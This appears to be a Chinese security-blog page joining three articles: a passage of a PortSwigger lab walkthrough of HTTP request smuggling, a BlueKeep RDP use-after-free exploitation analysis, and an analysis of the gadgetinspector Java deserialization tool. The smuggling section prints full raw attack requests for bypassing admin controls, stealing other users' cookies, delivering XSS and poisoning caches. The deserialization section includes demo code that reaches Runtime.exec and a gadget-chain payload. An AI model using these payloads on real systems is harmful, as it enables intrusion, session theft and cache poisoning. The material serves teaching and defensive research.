在前面,我们已经看到了不同种代理服务器组合所产生的HTTP请求走私漏洞,也成功模拟了使用HTTP请求走私这一攻击手段来进行会话劫持,但它能做的不仅仅是这些,在PortSwigger中提供了利用HTTP请求走私攻击的实验,可以说是很典型了。
5.1 绕过前端服务器的安全控制
在这个网络环境中,前端服务器负责实现安全控制,只有被允许的请求才能转发给后端服务器,而后端服务器无条件的相信前端服务器转发过来的全部请求,对每个请求都进行响应。因此我们可以利用HTTP请求走私,将无法访问的请求走私给后端服务器并获得响应。在这里有两个实验,分别是使用
CL-TE
和TE-CL
绕过前端的访问控制。5.1.1 使用CL-TE绕过前端服务器安全控制
实验的最终目的是获取admin权限并删除用户carlos
我们直接访问
/admin
,会返回提示Path /admin is blocked
,看样子是被前端服务器阻止了,根据题目的提示CL-TE
,我们可以尝试构造数据包12345678910111213POST / HTTP/1.1Host: ac1b1f991edef1f1802323bc00e10084.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Cookie: session=Iegl0O4SGnwlddlFQzxduQdt8NwqWsKIContent-Length: 38Transfer-Encoding: chunked0GET /admin HTTP/1.1foo: bar进行多次请求之后,我们可以获得走私过去的请求的响应。
提示只有是以管理员身份访问或者在本地登录才可以访问
/admin
接口。在下方走私的请求中,添加一个
Host: localhost
请求头,然后重新进行请求,一次不成功多试几次。如图所示,我们成功访问了admin界面。也知道了如何删除一个用户,也就是对
/admin/delete?username=carlos
进行请求。修改下走私的请求包再发送几次即可成功删除用户
carlos
。需要注意的一点是在这里,不需要我们对其他用户造成影响,因此走私过去的请求也必须是一个完整的请求,最后的两个
\r\n
不能丢弃。5.1.1 使用TE-CL绕过前端服务器安全控制
这个实验与上一个就十分类似了,具体攻击过程就不在赘述了。
5.2 获取前端服务器重写请求字段
在有的网络环境下,前端代理服务器在收到请求后,不会直接转发给后端服务器,而是先添加一些必要的字段,然后再转发给后端服务器。这些字段是后端服务器对请求进行处理所必须的,比如:
- 描述TLS连接所使用的协议和密码
- 包含用户IP地址的XFF头
- 用户的会话令牌ID
总之,如果不能获取到代理服务器添加或者重写的字段,我们走私过去的请求就不能被后端服务器进行正确的处理。那么我们该如何获取这些值呢。PortSwigger提供了一个很简单的方法,主要是三大步骤:
- 找一个能够将请求参数的值输出到响应中的POST请求
- 把该POST请求中,找到的这个特殊的参数放在消息的最后面
- 然后走私这一个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来。
怎么理解呢,还是做一下实验来一起来学习下吧。
实验的最终目的还是删除用户
carlos
。我们首先进行第一步骤,找一个能够将请求参数的值输出到响应中的POST请求。
在网页上方的搜索功能就符合要求
构造数据包
12345678910111213141516POST / HTTP/1.1Host: ac831f8c1f287d3d808d2e1c00280087.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Content-Type: application/x-www-form-urlencodedCookie: session=2rOrjC16pIb7ZfURX8QlSuU1v6UMAXLAContent-Length: 77Transfer-Encoding: chunked0POST / HTTP/1.1Content-Length: 70Connection: closesearch=123多次请求之后就可以获得前端服务器添加的请求头
这是如何获取的呢,可以从我们构造的数据包来入手,可以看到,我们走私过去的请求为
12345POST / HTTP/1.1Content-Length: 70Connection: closesearch=123其中
Content-Length
的值为70,显然下面携带的数据的长度是不够70的,因此后端服务器在接收到这个走私的请求之后,会认为这个请求还没传输完毕,继续等待传输。接着我们又继续发送相同的数据包,后端服务器接收到的是前端代理服务器已经处理好的请求,当接收的数据的总长度到达70时,后端服务器认为这个请求已经传输完毕了,然后进行响应。这样一来,后来的请求的一部分被作为了走私的请求的参数的一部分,然后从响应中表示了出来,我们就能获取到了前端服务器重写的字段。
在走私的请求上添加这个字段,然后走私一个删除用户的请求就好了。
5.3 获取其他用户的请求
在上一个实验中,我们通过走私一个不完整的请求来获取前端服务器添加的字段,而字段来自于我们后续发送的请求。换句话说,我们通过请求走私获取到了我们走私请求之后的请求。如果在我们的恶意请求之后,其他用户也进行了请求呢?我们寻找的这个POST请求会将获得的数据存储并展示出来呢?这样一来,我们可以走私一个恶意请求,将其他用户的请求的信息拼接到走私请求之后,并存储到网站中,我们再查看这些数据,就能获取用户的请求了。这可以用来偷取用户的敏感信息,比如账号密码等信息。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
实验的最终目的是获取其他用户的Cookie用来访问其他账号。
我们首先去寻找一个能够将传入的信息存储到网站中的POST请求表单,很容易就能发现网站中有一个用户评论的地方。
抓取POST请求并构造数据包
1234567891011121314151617POST / HTTP/1.1Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Cookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwaContent-Length: 267Transfer-Encoding: chunked0POST /post/comment HTTP/1.1Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.netCookie: session=oGESUVlKzuczaZSzsazFsOCQ4fdLetwaContent-Length: 400csrf=JDqCEvQexfPihDYr08mrlMun4ZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment=这样其实就足够了,但是有可能是实验环境的问题,我无论怎么等都不会获取到其他用户的请求,反而抓了一堆我自己的请求信息。不过原理就是这样,还是比较容易理解的,最重要的一点是,走私的请求是不完整的。
5.4 利用反射型XSS
我们可以使用HTTP走私请求搭配反射型XSS进行攻击,这样不需要与受害者进行交互,还能利用漏洞点在请求头中的XSS漏洞。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
在实验介绍中已经告诉了前端服务器不支持分块编码,目标是执行alert(1)
首先根据UA出现的位置构造Payload
然后构造数据包
1234567891011POST / HTTP/1.1Host: ac801fd21fef85b98012b3a700820000.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 123Transfer-Encoding: chunked0GET /post?postId=5 HTTP/1.1User-Agent: "><script>alert(1)</script>#Content-Type: application/x-www-form-urlencoded此时在浏览器中访问,就会触发弹框
再重新发一下,等一会刷新,可以看到这个实验已经解决了。
5.5 进行缓存投毒
一般来说,前端服务器出于性能原因,会对后端服务器的一些资源进行缓存,如果存在HTTP请求走私漏洞,则有可能使用重定向来进行缓存投毒,从而影响后续访问的所有用户。
Lab地址:https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
实验环境中提供了漏洞利用的辅助服务器。
需要添加两个请求包,一个POST,携带要走私的请求包,另一个是正常的对JS文件发起的GET请求。
以下面这个JS文件为例
1/resources/js/labHeader.js编辑响应服务器
构造POST走私数据包
123456789101112POST / HTTP/1.1Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.netContent-Length: 129Transfer-Encoding: chunked0GET /post/next?postId=3 HTTP/1.1Host: acb11fe31e16e96b800e125a013b009f.web-security-academy.netContent-Length: 10123然后构造GET数据包
1234GET /resources/js/labHeader.js HTTP/1.1Host: ac761f721e06e9c8803d12ed0061004f.web-security-academy.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0Connection: closePOST请求和GET请求交替进行,多进行几次,然后访问js文件,响应为缓存的漏洞利用服务器上的文件。
访问主页,成功弹窗,可以知道,js文件成功的被前端服务器进行了缓存。
6. 如何防御
从前面的大量案例中,我们已经知道了HTTP请求走私的危害性,那么该如何防御呢?不针对特定的服务器,通用的防御措施大概有三种。
- 禁用代理服务器与后端服务器之间的TCP连接重用。
- 使用HTTP/2协议。
- 前后端使用相同的服务器。
以上的措施有的不能从根本上解决问题,而且有着很多不足,就比如禁用代理服务器和后端服务器之间的TCP连接重用,会增大后端服务器的压力。使用HTTP/2在现在的网络条件下根本无法推广使用,哪怕支持HTTP/2协议的服务器也会兼容HTTP/1.1。从本质上来说,HTTP请求走私出现的原因并不是协议设计的问题,而是不同服务器实现的问题,个人认为最好的解决方案就是严格的实现RFC7230-7235中所规定的的标准,但这也是最难做到的。
参考链接
- https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/
- https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
- https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
- https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1048/
-
BlueKeep 漏洞利用分析
作者:SungLin@知道创宇404实验室
时间:2019年9月18日0x00 信道的创建、连接与释放
通道的数据包定义在MCS Connect Inittial PDU with GCC Conference Create Request中,在rdp连接过程如下图所示:
信道创建数据包格式如下:
在MCS Connect Inittial中属于Client Network Data数据段,
MS_T120
将会在连接一开始的时候通过函数termdd!_IcaRegisterVcBin
创建一个虚拟通道id是0x1f大小为0x18的结构体,之后就调用termdd!IcaCreateChannel
开始创建大小为0x8c的信道结构体之后将会与虚拟通道id是0x1f绑定,也就是这个结构体将会被我们利用信道的定义字段主要是名字加上配置,配置主要包括了优先级等
在server对MCS Connect Inittial应答包,将会依次给出对应虚拟通道的id值:
在rdp内核中依次注册的值对应应该是0、1、2、3, MS_T120信道将会通过我们发送的用户虚拟id为3的值再一次绑定,首先通过
termdd!_IcaFindVcBind
找到了刚开始注册的虚拟通道id是0x1f,如下所示:但是在
termdd!_IcaBindChannel
时,却将我们自定义的id值为3与信道结构体再一次绑定在一起了,此信道结构体就是MS_T120同时我们自己的用户id将内部绑定的0x1f给覆盖了
我们往信道MS_T120发送数据主动释放其分配的结构体,其传入虚拟通道id值为3通过函数
termdd!IcaFindChannel
在channeltable中查找返回对应的信道结构体:下图为返回的MS_T120信道结构体,其中0xf77b4300为此信道可调用的函数指针数组:
在这个函数指针数组中主要存放了三个函数,其中对应了
termdd!IcaCloseChannel
、termdd!IcaReadChannel
、termdd!IcaWriteChannel
我们传入释放MS_T120信道的数据如下,字节大小为0x12,主要数据对应了0x02
之后将会进入
nt! IofCompleteRequest
函数,通过apc注入后,将会通过nt! IopCompleteRequest
和nt!IopAbortRequest
进行数据请求的响应,最终在termdd!IcaDispatch
完成我们发送数据的的请求,_BYTE v2
就是我们发送的数据,所以我们发送的数据0x02将会最终调用到IcaClose函数进入IcaCloseChannel函数,最后主动释放掉了MS_T120
信道结构体0x01 通过RDPDR信道进行数据占位
我们先来了解下rdpdr信道,首先rdpdr信道是文件系统虚拟通道扩展,该扩展在名为rdpdr的静态虚拟通道上运行。目的是将访问从服务器重定向到客户端文件系统,其数据头部将会主要是两种标识和PacketId字段组成:
在这里我们刚好利用到了rdpde客户端name响应的数据来进行池内存的占位
在完全建立连接后,将会创建rdpdr信道的结构体
在window7中,在建立完成后接收到server的rdpdr请求后,通过发送客户端name响应数据,将会调用到
termdd! IcaChannelInputInternal
中的ExAllocatePoolWithTag分配非分页池内存,并且其长度是我们可以控制的,基本满足了UAF利用的需求:可是在windowsxp中,直接发送client name request将会导致内存分配失败,直接进入
termdd! _IcaCopyDataToUserBuffer
,并且在Tao Yan and Jin Chen[1]一文中也提到了通过发送client name request在触发一定的条件后将会绕过termdd!_IcaCopyDataToUserBuffer
而进入ExAllocatePoolWithTag分配我们想要的非分页内存,而打破条件如下:我们先来看看最开始信道结构体的创建,我们可以发现从一开始创建信道结构体的时候,将会出现两个标志,而这两个标志是按照地址顺序排列的,而在上面需要打破的条件中,只要channelstruct +0x108的地址存放的是同一个地址,循环就会被break
我们发送一个正常的rdpdr的name request数据包,头部标识是0x7244和0x4e43
经过
termdd!_IcaCopyDataToUserBuffer
之后,将会进入nt!IofCompleteRequest
,在响应请求后进入rdpdr!DrSession::ReadCompletion
,此函数处理逻辑如下,其将会遍历一个链表,从链表中取出对应的vftable函数数组遍历第一次取出第一张函数数组
传入我们发送的数据后,通过函数数组调用
rdpdr!DrSession::RecognizePacket
进行读取判断头部标志是否为(RDPDR_CTYP_CORE)0x7244
接着将会读取函数vftable第二个地址,进行转发
如下图可以看到rdpdr的数据包处理逻辑
rdpdr经过一系列数据包处理后最终进入了我们关心的地方,将会传入channelstruct通过调用
termdd! _IcaQueueReadChannelRequest
进行标志位的处理最初rdpdr的channelstruct的标志位如下
经过函数
termdd! _IcaQueueReadChannelRequest
对此标志的处理后变成如下,所以下一个数据依然会进入termdd!_IcaCopyDataToUserBuffer
,导致我们进行池喷射的失败回到rdpdr头部处理函数
rdpdr!DrSession::RecognizePacket
,我们发现在链表遍历失败后将会进行跳转,最后将会进入读取失败处理函数rdpdr!DrSession::ChannelIoFailed
,然后直接return了我们构造一个头部异常的数据包发送,头部标志我们构造的是0x7240,将会导致
rdpdr!DrSession::RecognizePacket
判断失败,之后将会继续遍历链表依次再取出两张函数数组最后两个函数数组依次调用
rdpdr!DrExchangeManager::RecognizePacket
和rdpdr!DrDeviceManager::RecognizePacket
,都会判断错误的头部标志0x7240,最后导致链表遍历完后进行错误跳转,直接绕过了termdd! _IcaQueueReadChannelRequest
对标志位的修改,将会打破循环最后我们连续构造多个错误的数据包后将会进入
ExAllocatePoolWithTag
,分配到我们需要的非分页内存!0x02 win7 EXP 池喷射简要分析
首先被释放的MS_T120池大小包括是0x170,池的标志是TSic
分析Win7 exp 可以知道数据占位是用的rdpsnd信道,作者没有采用rdpdr信道,应该也和喷射的稳定性有关,rdpsnd喷射是再建立完了rdpdr初始化后开始的,在free掉MS_T120结构体前,发送了1044个数据包去申请0x170大小的池内存,这样做可以说应该是为了防止之后被free掉的内存被其他程序占用了,提高free后内存被我们占用的生存几率
占位被free的实际数据大小为0x128,利用的中转地址是0xfffffa80ec000948
之后开始池喷射,将payload喷射到可以call [rax] == 0xfffffa80ec000948的地方,喷射的payload大小基本是0x400,总共喷射了200mb的数据大小,我们先来看下喷射前带标志TSic总共占用池内存大小是58kib左右
喷射完后带TSic标志池内存大小大约就是201mb,池内存喷射基本是成功的,我的win7是sp1,总共内存大小是1GB,再喷射过程中也没有其他干扰的,所以喷射很顺利
图中可以发现基本已经很稳定的0x400大小的池喷射payload,地址越高0x400大小的内存基本就很稳定了
最后断开连接时候,被free的内存已经被我们喷射的0x128大小的数据给占用了
执行call指令后稳定跳转到了我们的payload,成功执行!
参考链接:
[0] https://github.com/rapid7/metasploit-framework/pull/12283
[1] https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
[2] https://wooyun.js.org/drops/%E7%BE%8A%E5%B9%B4%E5%86%85%E6%A0%B8%E5%A0%86%E9%A3%8E%E6%B0%B4%EF%BC%9A%20%E2%80%9CBig%20Kids%E2%80%99%20Pool%E2%80%9D%E4%B8%AD%E7%9A%84%E5%A0%86%E5%96%B7%E6%8A%80%E6%9C%AF.html -
Java 反序列化工具 gadgetinspector 初窥
作者:Longofo@知道创宇404实验室
时间:2019年9月4日起因
一开始是听@Badcode师傅说的这个工具,在Black Hat 2018的一个议题提出来的。这是一个基于字节码静态分析的、利用已知技巧自动查找从source到sink的反序列化利用链工具。看了几遍作者在Black Hat上的演讲视频与PPT,想从作者的演讲与PPT中获取更多关于这个工具的原理性的东西,可是有些地方真的很费解。不过作者开源了这个工具,但没有给出详细的说明文档,对这个工具的分析文章也很少,看到一篇平安集团对这个工具的分析,从文中描述来看,他们对这个工具应该有一定的认识并做了一些改进,但是在文章中对某些细节没有做过多的阐释。后面尝试了调试这个工具,大致理清了这个工具的工作原理,下面是对这个工具的分析过程,以及对未来工作与改进的设想。
关于这个工具
- 这个工具不是用来寻找漏洞,而是利用已知的source->...->sink链或其相似特征发现分支利用链或新的利用链。
- 这个工具是在整个应用的classpath中寻找利用链。
- 这个工具进行了一些合理的预估风险判断(污点判断、污点传递等)。
- 这个工具会产生误报不是漏报(其实这里还是会漏报,这是作者使用的策略决定的,在后面的分析中可以看到)。
- 这个工具是基于字节码分析的,对于Java应用来说,很多时候我们并没有源码,而只有War包、Jar包或class文件。
- 这个工具不会生成能直接利用的Payload,具体的利用构造还需要人工参与。
序列化与反序列化
序列化(Serialization)是将对象的状态信息转化为可以存储或者传输形式的过程,转化后的信息可以存储在磁盘上,在网络传输过程中,可以是字节、XML、JSON等格式;而将字节、XML、JSON等格式的信息还原成对象这个相反的过程称为反序列化。
在JAVA中,对象的序列化和反序列化被广泛的应用到RMI(远程方法调用)及网络传输中。
Java中的序列化与反序列化库
- JDK(ObjectInputStream)
- XStream(XML,JSON)
- Jackson(XML,JSON)
- Genson(JSON)
- JSON-IO(JSON)
- FlexSON(JSON)
- Fastjson(JSON)
- ...
不同的反序列化库在反序列化不同的类时有不同的行为、被反序列化类的不同"魔术方法"会被自动调用,这些被自动调用的方法就能够作为反序列化的入口点(source)。如果这些被自动调用的方法又调用了其他子方法,那么在调用链中某一个子方法也可以作为source,就相当于已知了调用链的前部分,从某个子方法开始寻找不同的分支。通过方法的层层调用,可能到达某些危险的方法(sink)。
- ObjectInputStream
例如某个类实现了Serializable接口,ObjectInputStream.readobject在反序列化类得到其对象时会自动查找这个类的readObject、readResolve等方法并调用。
例如某个类实现了Externalizable接口,ObjectInputStream.readobject在反序列化类得到其对象时会自动查找这个类的readExternal等方法并调用。
- Jackson
ObjectMapper.readValue在反序列化类得到其对象时,会自动查找反序列化类的无参构造方法、包含一个基础类型参数的构造方法、属性的setter、属性的getter等方法并调用。
- ...
在后面的分析中,都使用JDK自带的ObjectInputStream作为样例。
控制数据类型=>控制代码
作者说,在反序列化漏洞中,如果控制了数据类型,我们就控制了代码。这是什么意思呢?按我的理解,写了下面的一个例子:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869public class TestDeserialization {interface Animal {public void eat();}public static class Cat implements Animal,Serializable {@Overridepublic void eat() {System.out.println("cat eat fish");}}public static class Dog implements Animal,Serializable {@Overridepublic void eat() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}System.out.println("dog eat bone");}}public static class Person implements Serializable {private Animal pet;public Person(Animal pet){this.pet = pet;}private void readObject(java.io.ObjectInputStream stream)throws IOException, ClassNotFoundException {pet = (Animal) stream.readObject();pet.eat();}}public static void GeneratePayload(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中File f = new File(file);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));Object obj = in.readObject();System.out.println(obj);in.close();}public static void main(String[] args) throws Exception {Animal animal = new Dog();Person person = new Person(animal);GeneratePayload(person,"test.ser");payloadTest("test.ser");// Animal animal = new Cat();// Person person = new Person(animal);// GeneratePayload(person,"test.ser");// payloadTest("test.ser");}}为了方便我把所有类写在一个类中进行测试。在Person类中,有一个Animal类的属性pet,它是Cat和Dog的接口。在序列化时,我们能够控制Person的pet具体是Cat对象或者Dog对象,因此在反序列化时,在readObject中
pet.eat()
具体的走向就不一样了。如果是pet是Cat类对象,就不会走到执行有害代码Runtime.getRuntime().exec("calc");
这一步,但是如果pet是Dog类的对象,就会走到有害代码。即使有时候类属性在声明时已经为它赋值了某个具体的对象,但是在Java中通过反射等方式依然能修改。如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566public class TestDeserialization {interface Animal {public void eat();}public static class Cat implements Animal, Serializable {@Overridepublic void eat() {System.out.println("cat eat fish");}}public static class Dog implements Animal, Serializable {@Overridepublic void eat() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}System.out.println("dog eat bone");}}public static class Person implements Serializable {private Animal pet = new Cat();private void readObject(java.io.ObjectInputStream stream)throws IOException, ClassNotFoundException {pet = (Animal) stream.readObject();pet.eat();}}public static void GeneratePayload(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中File f = new File(file);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));Object obj = in.readObject();System.out.println(obj);in.close();}public static void main(String[] args) throws Exception {Animal animal = new Dog();Person person = new Person();//通过反射修改私有属性Field field = person.getClass().getDeclaredField("pet");field.setAccessible(true);field.set(person, animal);GeneratePayload(person, "test.ser");payloadTest("test.ser");}}在Person类中,不能通过构造器或setter方法或其他方式对pet赋值,属性在声明时已经被定义为Cat类的对象,但是通过反射能将pet修改为Dog类的对象,因此在反序列化时依然会走到有害代码处。
这只是我自己对作者"控制了数据类型,就控制了代码"的理解,在Java反序列化漏洞中,很多时候是利用到了Java的多态特性来控制代码走向最后达到恶意执行目的。
魔术方法
在上面的例子中,能看到在反序列化时没有调用Person的readobject方法,它是ObjectInputStream在反序列化对象时自动调用的。作者将在反序列化中会自动调用的方法称为"魔术方法"。
使用ObjectInputStream反序列化时几个常见的魔术方法:
- Object.readObject()
- Object.readResolve()
- Object.finalize()
- ...
一些可序列化的JDK类实现了上面这些方法并且还自动调用了其他方法(可以作为已知的入口点):
- HashMap
- Object.hashCode()
- Object.equals()
- PriorityQueue
- Comparator.compare()
- Comparable.CompareTo()
- ...
一些sink:
- Runtime.exec(),这种最为简单直接,即直接在目标环境中执行命令
- Method.invoke(),这种需要适当地选择方法和参数,通过反射执行Java方法
- RMI/JNDI/JRMP等,通过引用远程对象,间接实现任意代码执行的效果
- ...
作者给出了一个从Magic Methods(source)->Gadget Chains->Runtime.exec(sink)的例子:
上面的HashMap实现了readObject这个"魔术方法",并且调用了hashCode方法。某些类为了比较对象之间是否相等会实现equals方法(一般是equals和hashCode方法同时实现)。从图中可以看到AbstractTableModel$ff19274a正好实现了hashCode方法,其中又调用了
f.invoke
方法,f是IFn对象,并且f能通过属性__clojureFnMap
获取到。IFn是一个接口,上面说到,如果控制了数据类型,就控制了代码走向。所以如果我们在序列化时,在__clojureFnMap
放置IFn接口的实现类FnCompose的一个对象,那么就能控制f.invoke
走FnCompose.invoke
方法,接着控制FnCompose.invoke中的f1、f2为FnConstant就能到达FnEval.invoke了(关于AbstractTableModel$ff19274a.hashcode中的f.invoke
具体选择IFn的哪个实现类,根据后面对这个工具的测试以及对决策原理的分析,广度优先会选择短的路径,也就是选择了FnEval.invoke,所以这也是为什么要人为参与,在后面的样例分析中也可以看到)。有了这条链,只需要找到触发这个链的漏洞点就行了。Payload使用JSON格式表示如下:
12345678910111213141516{"@class":"java.util.HashMap","members":[2,{"@class":"AbstractTableModel$ff19274a","__clojureFnMap":{"hashcode":{"@class":"FnCompose","f1":{"@class","FnConstant",value:"calc"},"f2":{"@class":"FnEval"}}}}]}gadgetinspector工作流程
如作者所说,正好使用了五个步骤:
1234567891011121314151617181920212223242526272829303132333435// 枚举全部类以及类的所有方法if (!Files.exists(Paths.get("classes.dat")) || !Files.exists(Paths.get("methods.dat"))|| !Files.exists(Paths.get("inheritanceMap.dat"))) {LOGGER.info("Running method discovery...");MethodDiscovery methodDiscovery = new MethodDiscovery();methodDiscovery.discover(classResourceEnumerator);methodDiscovery.save();}//生成passthrough数据流if (!Files.exists(Paths.get("passthrough.dat"))) {LOGGER.info("Analyzing methods for passthrough dataflow...");PassthroughDiscovery passthroughDiscovery = new PassthroughDiscovery();passthroughDiscovery.discover(classResourceEnumerator, config);passthroughDiscovery.save();}//生成passthrough调用图if (!Files.exists(Paths.get("callgraph.dat"))) {LOGGER.info("Analyzing methods in order to build a call graph...");CallGraphDiscovery callGraphDiscovery = new CallGraphDiscovery();callGraphDiscovery.discover(classResourceEnumerator, config);callGraphDiscovery.save();}//搜索可用的sourceif (!Files.exists(Paths.get("sources.dat"))) {LOGGER.info("Discovering gadget chain source methods...");SourceDiscovery sourceDiscovery = config.getSourceDiscovery();sourceDiscovery.discover();sourceDiscovery.save();}//搜索生成调用链{LOGGER.info("Searching call graph for gadget chains...");GadgetChainDiscovery gadgetChainDiscovery = new GadgetChainDiscovery(config);gadgetChainDiscovery.discover();}Step1 枚举全部类以及每个类的所有方法
要进行调用链的搜索,首先得有所有类及所有类方法的相关信息:
12345678910111213141516171819202122232425262728293031323334public class MethodDiscovery {private static final Logger LOGGER = LoggerFactory.getLogger(MethodDiscovery.class);private final List<ClassReference> discoveredClasses = new ArrayList<>();//保存所有类信息private final List<MethodReference> discoveredMethods = new ArrayList<>();//保存所有方法信息......public void discover(final ClassResourceEnumerator classResourceEnumerator) throws Exception {//classResourceEnumerator.getAllClasses()获取了运行时的所有类(JDK rt.jar)以及要搜索应用中的所有类for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {try (InputStream in = classResource.getInputStream()) {ClassReader cr = new ClassReader(in);try {cr.accept(new MethodDiscoveryClassVisitor(), ClassReader.EXPAND_FRAMES);//通过ASM框架操作字节码并将类信息保存到this.discoveredClasses,将方法信息保存到discoveredMethods} catch (Exception e) {LOGGER.error("Exception analyzing: " + classResource.getName(), e);}}}}......public void save() throws IOException {DataLoader.saveData(Paths.get("classes.dat"), new ClassReference.Factory(), discoveredClasses);//将类信息保存到classes.datDataLoader.saveData(Paths.get("methods.dat"), new MethodReference.Factory(), discoveredMethods);//将方法信息保存到methods.datMap<ClassReference.Handle, ClassReference> classMap = new HashMap<>();for (ClassReference clazz : discoveredClasses) {classMap.put(clazz.getHandle(), clazz);}InheritanceDeriver.derive(classMap).save();//查找所有继承关系并保存}}来看下classes.dat、methods.dat分别长什么样子:
- classes.dat
找了两个比较有特征的
第一个类com/sun/deploy/jardiff/JarDiffPatcher:
和上面的表格信息对应一下,是吻合的
- 类名:com/sun/deploy/jardiff/JarDiffPatcher
- 父类: java/lang/Object,如果一类没有显式继承其他类,默认隐式继承java/lang/Object,并且java中不允许多继承,所以每个类只有一个父类
- 所有接口:com/sun/deploy/jardiff/JarDiffConstants、com/sun/deploy/jardiff/Patcher
- 是否是接口:false
- 成员:newBytes!2![B,newBytes成员,Byte类型。为什么没有将static/final类型的成员加进去呢?这里还没有研究如何操作字节码,所以作者这里的判断实现部分暂且跳过。不过猜测应该是这种类型的变量并不能成为污点所以忽略了
第二个类com/sun/corba/se/impl/presentation/rmi/InvocationHandlerFactoryImpl$CustomCompositeInvocationHandlerImpl:
和上面的表格信息对应一下,也是吻合的
- 类名:com/sun/corba/se/impl/presentation/rmi/InvocationHandlerFactoryImpl$CustomCompositeInvocationHandlerImpl,是一个内部类
- 父类: com/sun/corba/se/spi/orbutil/proxy/CompositeInvocationHandlerImpl
- 所有接口:com/sun/corba/se/spi/orbutil/proxy/LinkedInvocationHandler,java/io/Serializable
- 是否是接口:false
- 成员:stub!130!com/sun/corba/se/spi/presentation/rmi/DynamicStub!this$0!4112!com/sun/corba/se/impl/presentation/rmi/InvocationHandlerFactoryImpl,!*!这里可以暂时理解为分割符,有一个成员stub,类型com/sun/corba/se/spi/presentation/rmi/DynamicStub。因为是内部类,所以多了个this成员,这个this指向的是外部类
- methods.dat
同样找几个比较有特征的
sun/nio/cs/ext/Big5#newEncoder:
- 类名:sun/nio/cs/ext/Big5
- 方法名: newEncoder
- 方法描述信息: ()Ljava/nio/charset/CharsetEncoder; 无参,返回java/nio/charset/CharsetEncoder对象
- 是否是静态方法:false
sun/nio/cs/ext/Big5_HKSCS$Decoder#\<init>:
- 类名:sun/nio/cs/ext/Big5_HKSCS$Decoder
- 方法名:\<init>
- 方法描述信息: (Ljava/nio/charset/Charset;Lsun/nio/cs/ext/Big5_HKSCS1;)V参数1是java/nio/charset/Charset类型,参数2是sun/nio/cs/ext/Big5HKSCS1;)V参数1是java/nio/charset/Charset类型,参数2是sun/nio/cs/ext/Big5HKSCS1类型,返回值void
- 是否是静态方法:false
继承关系的生成:
继承关系在后面用来判断一个类是否能被某个库序列化、以及搜索子类方法实现等会用到。
12345678910111213141516171819202122232425262728293031323334353637383940414243public class InheritanceDeriver {private static final Logger LOGGER = LoggerFactory.getLogger(InheritanceDeriver.class);public static InheritanceMap derive(Map<ClassReference.Handle, ClassReference> classMap) {LOGGER.debug("Calculating inheritance for " + (classMap.size()) + " classes...");Map<ClassReference.Handle, Set<ClassReference.Handle>> implicitInheritance = new HashMap<>();for (ClassReference classReference : classMap.values()) {if (implicitInheritance.containsKey(classReference.getHandle())) {throw new IllegalStateException("Already derived implicit classes for " + classReference.getName());}Set<ClassReference.Handle> allParents = new HashSet<>();getAllParents(classReference, classMap, allParents);//获取当前类的所有父类implicitInheritance.put(classReference.getHandle(), allParents);}return new InheritanceMap(implicitInheritance);}......private static void getAllParents(ClassReference classReference, Map<ClassReference.Handle, ClassReference> classMap, Set<ClassReference.Handle> allParents) {Set<ClassReference.Handle> parents = new HashSet<>();if (classReference.getSuperClass() != null) {parents.add(new ClassReference.Handle(classReference.getSuperClass()));//父类}for (String iface : classReference.getInterfaces()) {parents.add(new ClassReference.Handle(iface));//接口类}for (ClassReference.Handle immediateParent : parents) {//获取间接父类,以及递归获取间接父类的父类ClassReference parentClassReference = classMap.get(immediateParent);if (parentClassReference == null) {LOGGER.debug("No class id for " + immediateParent.getName());continue;}allParents.add(parentClassReference.getHandle());getAllParents(parentClassReference, classMap, allParents);}}......}这一步的结果保存到了inheritanceMap.dat:
Step2 生成passthrough数据流
这里的passthrough数据流指的是每个方法的返回结果与方法参数的关系,这一步生成的数据会在生成passthrough调用图时用到。
